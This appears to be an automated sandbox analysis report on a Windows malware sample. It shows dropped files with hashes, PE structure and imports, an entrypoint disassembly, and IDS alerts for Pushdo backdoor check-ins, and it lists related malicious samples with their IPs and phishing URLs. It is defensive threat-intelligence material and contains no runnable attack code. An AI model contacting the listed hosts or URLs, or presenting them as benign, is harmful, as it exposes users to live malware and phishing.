	SecuriteInfo.com.Trojan.GenericKD.73873010.20504.26058.exe	Get hash	malicious	Unknown	Browse	43.228.126.4
DEVINOTELECOM-ASRU	Review_0830.zip	Get hash	malicious	Unknown	Browse	185.205.70.10
	https://drive.proton.me/urls/DDPEW2DZRR#RVevfUUBRwSC	Get hash	malicious	Unknown	Browse	185.205.70.10
	https://drive.proton.me/urls/7V8V8QFVQ8#vUlA6qa8Rlyy	Get hash	malicious	Unknown	Browse	185.205.70.10
	BWV4hz5GdR.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc, Xmrig	Browse	185.205.70.128
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	185.205.70.129
	https://drive.proton.me/urls/FYTGJBJVYG#iSbHFGnnzPIp	Get hash	malicious	HTMLPhisher	Browse	185.205.70.10
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	195.208.182.226
	https://drive.proton.me/urls/XXEJ1EJENR#eeYYN9hWb5e2	Get hash	malicious	HTMLPhisher	Browse	185.205.70.10
	rBGrFUaF15.elf	Get hash	malicious	Mirai	Browse	195.208.182.238
	oHcUJVfpPz.elf	Get hash	malicious	Mirai	Browse	195.208.182.220

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\89dad5d484a9f889a3a8dfca823edc3e_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Users\user\Desktop\yGktPvplJn.exe
File Type:	data
Category:	dropped
Size (bytes):	47
Entropy (8bit):	1.168829563685559
Encrypted:	false
SSDEEP:	3:/lSll2DQi:AoMi
MD5:	DAB633BEBCCE13575989DCFA4E2203D6
SHA1:	33186D50F04C5B5196C1FCC1FAD17894B35AC6C7
SHA-256:	1C00FBA1B82CD386E866547F33E1526B03F59E577449792D99C882DEF05A1D17
SHA-512:	EDDBB22D9FC6065B8F5376EC95E316E7569530EFAA9EA9BC641881D763B91084DCCC05BC793E8E29131D20946392A31BD943E8FC632D91EE13ABA7B0CD1C626F
Malicious:	false
Preview:	........................................user.

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\c5d8393293ce2ba62f117b2c2d55bc3e_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Users\user\Desktop\yGktPvplJn.exe
File Type:	Matlab v4 mat-file (little endian) , sparse, rows 0, columns 22
Category:	modified
Size (bytes):	1446
Entropy (8bit):	7.401185800791955
Encrypted:	false
SSDEEP:	24:EtPRDylUOjLYrPWV2kPH+ha3MEz8dEp0GUMYZA/xoCX0OJzHlyjra:EtP5ylUOjyWV7+h9e8dRTZGZlEOJhyju
MD5:	E432FE41B7910C675CF3E496930F23DD
SHA1:	1378FB9FFAD92A6D171D6D3EC8AEFD7A50953F70
SHA-256:	8A855A7D1616734E1214A2638C3ABCA7C16280B37EAB299EB42C803918791EDC
SHA-512:	0E07D5FE1D729C92D3EB02957CA077C604A4DCD33CBFB19B8944600D04D61C32EFF52B709BDF8399DCC091AD88AF943EC222EA62F7A4A5FB4807DA0CE37474CB
Malicious:	false
Preview:	........................................MyDefaultKeyContainer.RSA1.................O...E.oe.`V...r3.wI_.-.T.<3x.).L..y]P.....\|R.]..W.>.......y!z..>b...RO...].;d.'.wqX...........<r.$`...G6.t6Vb.93B...R......................z..O........%...G...5.<.u....,...C.r.y.p.t.o.A.P.I. .P.r.i.v.a.t.e. .K.e.y....f...... ......!p~MN.._.%\.B..#A..q......[w............ ......I......X.yA8...8v....=..$q.]G......r...........1.-.7..#....n..F.D......R...;...(.........Q......h.e..J.a......%.V.....^.F...~........0.c.$..~!L..N.;..../4^?zpY.'$..y...c...7.S?9.Wc...D.....9.d,.......kr..%~.>.K.....R.68r.@H.D..1T@m.a.".k.......x...V......0.!.d9)6G....y'.P.N..8ek...LN.-.p../H....3xXI.......?....(..q.X...1..,#.I......6...j....P..;H]U3.y.....T..#....-.2\..l.I[..Q.C~2xV..$....@u..2'a..M.>..a...ja.T......Z.).,=.i.}........5...H.'Y..c...3..^n.a.G..Q.$.H.g`j.l.......Ady>.xW.G.{..H.\..+l.&..cu....YD..}...=.~.>$}.....'y.s.DP..7..+...?.@..O4.X.....!.._...L.%.v......k.}.@..l....

C:\Users\user\pigalicapi.exe

Download File

Process:	C:\Users\user\Desktop\yGktPvplJn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1948160
Entropy (8bit):	6.5486398498019085
Encrypted:	false
SSDEEP:	49152:3rLGA8M9iYz45FWeYTZxTUxXpKg+fmjcozmKxS:65FWBTZxYxJo
MD5:	D9C7BEEACDAC2AAE5D8C675556BFAAE9
SHA1:	B1C2DD3BD27624A8AA310CBB481B9A64FDBAF921
SHA-256:	7C2906C9277E39C2D1BE87ADBD342E6FABA7B0AA593233663D0007CB4119CCC6
SHA-512:	498D3D7053CFB612CC91DC44483AB38431EB694A6AED2613B1D9AD9D90DB89001E68FA07EAD050FA56BBAA957276F9EEA9FB985051D059DF4553C66CDE130E98
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......=...yw..yw..yw..m...vw..m....w......~w..+...jw..+...nw..+....w..H+@.{w..m...gw..m...{w..m...Rw..yw...v......9w....B.xw..yw.zw......xw..Richyw..........................PE..L...\|.Gf.................&...........j.......@....@.......................... ..................................................@....`..d....................@......`...p...............................@............@..$............................text...n%.......&.................. ..`.rdata..R^...@...`.................@..@.data............p..................@....detourc.....0......................@..@.detourd.....P......................@....rsrc...d....`......................@..@.reloc.......@......................@..B................................................................................................................................................................................

C:\Users\user\pigalicapi.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\yGktPvplJn.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5486398498019085
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	yGktPvplJn.exe
File size:	1'948'160 bytes
MD5:	d9c7beeacdac2aae5d8c675556bfaae9
SHA1:	b1c2dd3bd27624a8aa310cbb481b9a64fdbaf921
SHA256:	7c2906c9277e39c2d1be87adbd342e6faba7b0aa593233663d0007cb4119ccc6
SHA512:	498d3d7053cfb612cc91dc44483ab38431eb694a6aed2613b1d9ad9d90db89001e68fa07ead050fa56bbaa957276f9eea9fb985051d059df4553c66cde130e98
SSDEEP:	49152:3rLGA8M9iYz45FWeYTZxTUxXpKg+fmjcozmKxS:65FWBTZxYxJo
TLSH:	C1955C233E4280F5E57301B05A397B6585699DF50B2245CB73FC3F399BB09E25A32A27
File Content Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......=...yw..yw..yw..m...vw..m....w......~w..+...jw..+...nw..+....w..H+@.{w..m...gw..m...{w..m...Rw..yw...v......9w....B.xw..yw*.zw.

File Icon


Icon Hash:	4db069696969b04d

Static PE Info

General

Entrypoint:	0x496af2
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66479B7C [Fri May 17 18:01:32 2024 UTC]
TLS Callbacks:	0x4f0921, 0x4f0670
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a7052ad8566216bfcf537f94ec6b5a66

Entrypoint Preview

Instruction
call 00007F3C98E9DB80h
jmp 00007F3C98E9D33Fh
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007F3C98E9CA15h
jmp 00007F3C98E9D4A2h
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0053A058h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0053A058h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0053A058h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], esp
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x137f9c	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x146000	0x8d264	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1d4000	0xd61c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x120c60	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x120dc0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x120cd0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x104000	0x524	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x10256e	0x102600	78e3d2fa9da80808491d143a83c2550b	False	0.47051508829221095	data	6.559379080846396	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x104000	0x35e52	0x36000	dbf917e5c2c4da201918f7b9fc9a879d	False	0.3653564453125	data	4.84746288855229	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x13a000	0x8bfc	0x7000	e7baa228996bd247113cbd2107716135	False	0.3109654017857143	DOS executable (block device driver)	5.7049357369002305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.detourc	0x143000	0x11a0	0x1200	59a27959f9fb1fe4cb6d765d89e3d051	False	0.07921006944444445	GTA1 style data (GRX), 8 bit editor graphics	2.7059425274953384	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.detourd	0x145000	0xc	0x200	15d7bd12d01a5e1cc9bcfda0df81f640	False	0.037109375	data	0.06591441234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x146000	0x8d264	0x8d400	c42298f757fe686db988848aa113816e	False	0.2115113384955752	data	5.459473865235336	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1d4000	0xd61c	0xd800	2a812edc30cb551b432bd3f22456c01e	False	0.6140950520833334	data	6.607726794099654	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
CSS	0x146700	0x3ffd	assembler source, ASCII text, with CRLF line terminators	English	Great Britain	0.20786276784079116
CSS	0x14a700	0x174ab	assembler source, ASCII text, with very long lines (325), with CRLF line terminators	English	Great Britain	0.1706235652966888
CSS	0x161bac	0x369a	ASCII text, with CRLF line terminators	English	Great Britain	0.2264987838031192
SETTINGS	0x165248	0x3cd	JSON data	English	United States	0.460431654676259
RT_ICON	0x165618	0x4a96	PNG image data, 256 x 256, 16-bit/color RGBA, non-interlaced	English	United States	0.9847072378757725
RT_ICON	0x16a0b0	0x25228	Device independent bitmap graphic, 192 x 384 x 32, image size 147456, resolution 15118 x 15118 px/m	English	United States	0.03303660653237259
RT_ICON	0x18f2d8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 15118 x 15118 px/m	English	United States	0.046965574352300955
RT_ICON	0x19fb00	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864, resolution 15118 x 15118 px/m	English	United States	0.05972776960269077
RT_ICON	0x1a8fa8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 15118 x 15118 px/m	English	United States	0.08667926310817194
RT_ICON	0x1ad1d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 15118 x 15118 px/m	English	United States	0.11804979253112033
RT_ICON	0x1af778	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6400, resolution 15118 x 15118 px/m	English	United States	0.13505917159763314
RT_ICON	0x1b11e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 15118 x 15118 px/m	English	United States	0.1897279549718574
RT_ICON	0x1b2288	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 15118 x 15118 px/m	English	United States	0.26639344262295084
RT_ICON	0x1b2c10	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 15118 x 15118 px/m	English	United States	0.3820921985815603
RT_RCDATA	0x1b3078	0x4	data			3.0
RT_GROUP_ICON	0x1b307c	0x92	data	English	United States	0.7054794520547946
RT_VERSION	0x1b3110	0x318	data	English	United States	0.43686868686868685
RT_ANICURSOR	0x1b3428	0x12600	data			0.7012383078231292
RT_HTML	0x1c5a28	0x256d	HTML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	Great Britain	0.19799603381692935
RT_HTML	0x1c7f98	0x432	HTML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	Great Britain	0.45716945996275604
RT_HTML	0x1c83cc	0x16be	HTML document, ASCII text, with CRLF line terminators	English	Great Britain	0.25197526623153554
RT_HTML	0x1c9a8c	0x3692	HTML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	Great Britain	0.21546170365068004
RT_HTML	0x1cd120	0x3ce	HTML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	Great Britain	0.45071868583162217
RT_HTML	0x1cd4f0	0x16f4	HTML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	Great Britain	0.25936010891763106
RT_HTML	0x1cebe4	0xc3d	HTML document, Unicode text, UTF-8 (with BOM) text	English	Great Britain	0.3086498563676987
RT_HTML	0x1cf824	0x161d	HTML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	Great Britain	0.2571983748454337
RT_HTML	0x1d0e44	0xf77	HTML document, Unicode text, UTF-8 (with BOM) text	English	Great Britain	0.3122000505178075
RT_HTML	0x1d1dbc	0x78c	HTML document, Unicode text, UTF-8 (with BOM) text	English	Great Britain	0.32971014492753625
RT_HTML	0x1d2548	0xb99	HTML document, Unicode text, UTF-8 (with BOM) text	English	Great Britain	0.3957561468507915
RT_MANIFEST	0x1d30e4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
CRYPT32.dll	CryptBinaryToStringA, CryptUnprotectData, CryptBinaryToStringW, CryptStringToBinaryW
KERNEL32.dll	WaitForSingleObject, MultiByteToWideChar, CloseThreadpoolWork, CreateThreadpoolWork, SubmitThreadpoolWork, WaitForThreadpoolWorkCallbacks, GetThreadId, GetStdHandle, WriteFile, GlobalFree, GlobalAlloc, CloseThreadpoolTimer, CreateThreadpoolTimer, SetThreadpoolTimer, WaitForThreadpoolTimerCallbacks, IsWow64Process, CreateProcessW, ReadFile, CreateFileW, GetSystemDirectoryW, SetEnvironmentVariableW, CreateThread, VerSetConditionMask, VerifyVersionInfoW, SetCurrentDirectoryW, SetLastError, GetFileAttributesW, OpenProcess, GlobalLock, GlobalUnlock, GlobalMemoryStatusEx, GetSystemWindowsDirectoryW, GetDiskFreeSpaceExW, LocalAlloc, InitOnceComplete, ResetEvent, GetProcessHeap, FindResourceExW, InitializeCriticalSectionEx, RaiseException, DeleteCriticalSection, SizeofResource, LockResource, LoadResource, FindResourceW, ExitProcess, GetModuleHandleExW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, GetACP, IsValidCodePage, GetTimeZoneInformation, HeapSize, GetConsoleMode, GetConsoleOutputCP, FlushFileBuffers, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetLocaleInfoW, LCMapStringW, CompareStringW, GetTimeFormatW, GetDateFormatW, GetFileType, SetStdHandle, SetConsoleCtrlHandler, FreeLibraryAndExitThread, ExitThread, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, RtlUnwind, QueryDosDeviceW, GetLongPathNameW, VirtualQuery, VirtualFree, VirtualProtect, VirtualAlloc, FlushInstructionCache, SetThreadContext, GetThreadContext, ResumeThread, SuspendThread, WriteConsoleW, K32GetMappedFileNameW, FileTimeToSystemTime, SetSearchPathMode, FormatMessageW, LoadLibraryA, HeapReAlloc, HeapFree, HeapAlloc, HeapDestroy, Sleep, CreateMutexW, GetCurrentProcess, MapViewOfFile, UnmapViewOfFile, GetModuleHandleW, GetModuleFileNameW, LoadLibraryExW, GetLastError, FreeLibrary, GetProcAddress, LoadLibraryW, WideCharToMultiByte, LocalFree, GetCommandLineW, SetEvent, CreateEventW, WaitForMultipleObjects, OpenEventW, CloseHandle, FormatMessageA, ReadConsoleW, DecodePointer, LoadLibraryExA, GetModuleFileNameA, GetWindowsDirectoryW, GetLocalTime, GetCurrentThread, GetProcessTimes, OutputDebugStringA, DebugBreak, SetFilePointer, GetFileSizeEx, DeleteFileW, ExpandEnvironmentStringsW, GetEnvironmentVariableW, OutputDebugStringW, InitializeSListHead, GetCurrentProcessId, GetStartupInfoW, IsDebuggerPresent, IsProcessorFeaturePresent, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, GetLocaleInfoEx, GetCPInfo, CompareStringEx, FreeLibraryWhenCallbackReturns, GetTickCount64, GetSystemTimeAsFileTime, InitOnceBeginInitialize, LCMapStringEx, EncodePointer, SleepConditionVariableSRW, SleepConditionVariableCS, WakeAllConditionVariable, WakeConditionVariable, InitializeConditionVariable, QueryPerformanceFrequency, QueryPerformanceCounter, TryEnterCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeSRWLock, GetFileInformationByHandleEx, DeviceIoControl, AreFileApisANSI, SetFilePointerEx, SetFileAttributesW, SetEndOfFile, GetFinalPathNameByHandleW, GetFileInformationByHandle, GetFileAttributesExW, FindNextFileW, FindFirstFileExW, FindClose, CreateDirectoryW, WaitForSingleObjectEx, GetCurrentThreadId, GetExitCodeThread, GetNativeSystemInfo, GetStringTypeW, ReleaseSRWLockExclusive, ReleaseSRWLockShared, AcquireSRWLockExclusive, AcquireSRWLockShared, GetCurrentDirectoryW
USER32.dll	KillTimer, PostMessageW, PostThreadMessageW, GetSystemMetrics, LoadIconW, SetWindowTextW, MonitorFromPoint, GetMonitorInfoW, MonitorFromRect, SetWindowPos, MoveWindow, GetCursorPos, GetAncestor, GetWindowLongW, OffsetRect, CopyRect, SystemParametersInfoW, ExitWindowsEx, IsWindow, IsIconic, ShowWindow, SetForegroundWindow, CreateWindowExW, DestroyWindow, GetClientRect, GetKeyState, BroadcastSystemMessageW, FindWindowW, SendMessageW, ChangeWindowMessageFilterEx, BringWindowToTop, EnableWindow, SetTimer, RegisterWindowMessageW, GetWindowRect, SetClassLongW, CreateDialogIndirectParamW, GetWindowThreadProcessId, GetMessageW, GetDC, GetPropW, SetActiveWindow, EnumChildWindows, GetShellWindow, RegisterClassExW, GetActiveWindow, OpenClipboard, DispatchMessageW, IsDialogMessageW, DefDlgProcW, CloseClipboard, EmptyClipboard, TranslateMessage, SetParent, SetClipboardData, SetWindowLongW, GetDesktopWindow, ReleaseDC
GDI32.dll	GetDeviceCaps
ADVAPI32.dll	GetTokenInformation, LookupAccountSidW, GetAclInformation, GetSidSubAuthorityCount, GetSidSubAuthority, RegCreateKeyExW, CryptHashData, CryptGetHashParam, CryptCreateHash, CryptDestroyHash, CryptAcquireContextW, CryptReleaseContext, IsWellKnownSid, ConvertSidToStringSidW, GetNamedSecurityInfoW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegOpenKeyExW, RegGetValueW, OpenProcessToken, AdjustTokenPrivileges, LookupPrivilegeValueW, GetAce, GetFileSecurityW, GetSecurityDescriptorDacl, GetSidIdentifierAuthority
SHELL32.dll	SHGetKnownFolderPath, CommandLineToArgvW, ShellExecuteW
ole32.dll	CoSetProxyBlanket, CoUninitialize, CoTaskMemFree, CoInitializeSecurity, CoInitializeEx, OleSetContainedObject, CoGetClassObject, OleUninitialize, OleInitialize, CoCreateInstance, CoInitialize
OLEAUT32.dll	SysAllocString, VariantCopy, SysFreeString, VariantInit, VariantClear, VariantChangeType
SHLWAPI.dll	PathRemoveFileSpecW, PathAppendW, SHGetValueW, PathIsRelativeW
dwmapi.dll	DwmIsCompositionEnabled
WINMM.dll	timeGetTime
ntdll.dll	LdrFindResource_U, LdrAccessResource
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINTRUST.dll	CryptCATAdminReleaseContext, WinVerifyTrust, CryptCATCatalogInfoFromContext, CryptCATAdminEnumCatalogFromHash, CryptCATAdminCalcHashFromFileHandle, CryptCATAdminAcquireContext
RPCRT4.dll	UuidCreate

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-25T11:17:31.843857+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49762	104.21.23.9	80	TCP
2024-10-25T11:17:31.843924+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49760	192.124.249.20	80	TCP
2024-10-25T11:17:31.993960+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49762	104.21.23.9	80	TCP
2024-10-25T11:17:32.013734+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49760	192.124.249.20	80	TCP
2024-10-25T11:17:32.071578+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49764	80.93.82.33	80	TCP
2024-10-25T11:17:32.148245+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49766	70.39.251.249	80	TCP
2024-10-25T11:17:32.157172+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49768	3.19.116.195	80	TCP
2024-10-25T11:17:32.188937+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49765	34.218.204.173	80	TCP
2024-10-25T11:17:32.193036+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49763	188.114.97.3	80	TCP
2024-10-25T11:17:32.199358+0200	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	34.218.204.173	80	192.168.2.5	49765	TCP
2024-10-25T11:17:32.328174+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49764	80.93.82.33	80	TCP
2024-10-25T11:17:32.328511+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49766	70.39.251.249	80	TCP
2024-10-25T11:17:32.447169+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49763	188.114.97.3	80	TCP
2024-10-25T11:17:32.696034+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49763	188.114.97.3	80	TCP
2024-10-25T11:17:32.867338+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52540	3.19.116.195	80	TCP
2024-10-25T11:17:32.874617+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49771	59.106.19.204	80	TCP
2024-10-25T11:17:32.903690+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52541	104.26.7.221	80	TCP
2024-10-25T11:17:32.941456+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49763	188.114.97.3	80	TCP
2024-10-25T11:17:33.050785+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52543	185.15.129.58	80	TCP
2024-10-25T11:17:33.277291+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52546	34.149.87.45	80	TCP
2024-10-25T11:17:33.552441+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52544	142.250.186.147	80	TCP
2024-10-25T11:17:33.706452+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52545	170.82.174.30	80	TCP
2024-10-25T11:17:33.859987+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52554	54.161.222.85	80	TCP
2024-10-25T11:17:33.968045+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52553	139.59.171.124	80	TCP
2024-10-25T11:17:34.008290+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52552	118.27.125.181	80	TCP
2024-10-25T11:17:34.293068+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52550	188.114.97.3	80	TCP
2024-10-25T11:17:34.349450+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52557	13.248.252.114	80	TCP
2024-10-25T11:17:34.427021+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52553	139.59.171.124	80	TCP
2024-10-25T11:17:34.505954+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52559	62.122.190.121	80	TCP
2024-10-25T11:17:34.514245+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52558	89.161.163.246	80	TCP
2024-10-25T11:17:34.578653+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52545	170.82.174.30	80	TCP
2024-10-25T11:17:34.751740+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52555	104.26.15.53	80	TCP
2024-10-25T11:17:34.788095+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52559	62.122.190.121	80	TCP
2024-10-25T11:17:34.848872+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52562	54.161.222.85	80	TCP
2024-10-25T11:17:34.895339+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52563	104.21.88.198	80	TCP
2024-10-25T11:17:35.048672+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52563	104.21.88.198	80	TCP
2024-10-25T11:17:35.088366+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52566	192.124.249.10	80	TCP
2024-10-25T11:17:35.264869+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52566	192.124.249.10	80	TCP
